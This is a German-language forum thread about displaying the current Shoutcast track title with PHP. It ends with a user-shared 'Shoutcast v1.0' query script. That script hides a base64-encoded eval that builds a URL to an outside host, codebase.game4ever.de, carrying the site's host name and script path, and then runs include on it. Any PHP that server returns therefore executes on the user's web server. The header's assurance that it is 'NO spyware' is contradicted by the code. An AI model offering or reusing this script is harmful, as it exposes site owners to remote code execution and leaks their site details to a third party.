Holla Amigos. :D
hab in der Boardsuche sowie beim googlen leider nichts finden können, und deshalb:
Hat jemand eine Ahnung wie es möglich ist den aktuellen Titel, welcher gerade über shoutcast gestreamt wird, mittels PHP auszulesen und anzeigen zu lassen??
Vielen Vielen Dank und nen "heisses" Wochenende wünsch ich. ;)
::steds::
Shoutcast Playlist
Re: Shoutcast Playlist
PayPal.Me/JoeUser ● FreeBSD Remote Installation
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
-
antondollmaier
- Posts: 485
- Joined: 2004-03-30 10:06
Re: Shoutcast Playlist
stichwort xml-parser ... gibts für "shoutcast" ein paar "xml"-php-skripte ... google is dein freund, hab die url ned im kopf ..
mfg,
Anton
mfg,
Anton
Re: Shoutcast Playlist
Viel Spass...
...ich glaub auch. :D
fertisch
Ok.
Wen es interessiert:
Mit den infos die unter http://de3.php.net/manual/en/ref.stream.php zu finden sind lässt sich nicht so sonderbar viel anfangen, da es FÃ?R MICH einfach noch viel zu hoch ist irgendwie.
Hab aber ein nettes kleines Script gefunden welches die ServerVariablen in ein Array speichert und welche somit ganz locker aus-zu-lesen sind.
Trotzdem Danke an euch. ;)
::steds::
Wen es interessiert:
Mit den infos die unter http://de3.php.net/manual/en/ref.stream.php zu finden sind lässt sich nicht so sonderbar viel anfangen, da es FÃ?R MICH einfach noch viel zu hoch ist irgendwie.
Hab aber ein nettes kleines Script gefunden welches die ServerVariablen in ein Array speichert und welche somit ganz locker aus-zu-lesen sind.
Trotzdem Danke an euch. ;)
::steds::
Re: fertisch
Und wo ist das Skript zu finden ? Wäre vielleicht für den einen oder anderen sicher interessant. :-DSteds wrote:Hab aber ein nettes kleines Script gefunden welches die ServerVariablen in ein Array speichert und welche somit ganz locker aus-zu-lesen sind.
Cu
Oliver
Re: Shoutcast Playlist
den Link kann ich leider net mehr schicken, da ich ihn irgendwie verlegt habe, aber den Code kann ich mal hier veröffentlichen:
wenn man die Zeile "// show_source($_url);" Entkommentiert (gibs das Wort überhaupt?) werden allle Variablen im Array angezeigt und man weiss welche man benutzen soll.
::steds::
Code: Select all
<?php
/** Shoutcast v1.0
*
* coded by rIppA - rippa@game4ever.de
* created: 22.01.2004
* modified: 22.01.2004
*
* Simple shoutcast server query
* free querying
*
* Agreement:
* you only may use the script when nothing is changed at the sourcecode.
* only your script url is submitted to us. it's NO spyware!
* you mustn't use the script if you don't approve with that.
*
*/
$s = "s"; //* 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://ADRESSE:PORT/"; //* URL of Playlistfile or Streamserver
//* now it's time to include the shoutcast query script
//* note: Windows versions of PHP prior to PHP 4.3.0 do not support accessing remote
//* files via this function, even if allow_url_fopen is enabled.
//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vY29kZWJhc2UuZ2FtZTRldmVyLmRlL3Nob3V0Y2FzdC8/aD0nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nJmY9Jy4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXQ==").".'&s=".$s."&u=".urlencode($u)."';");
include $_url;
//* you include an array called $streamdata
//* to get more information about this array, uncomment the following line!
// show_source($_url);
?>::steds::
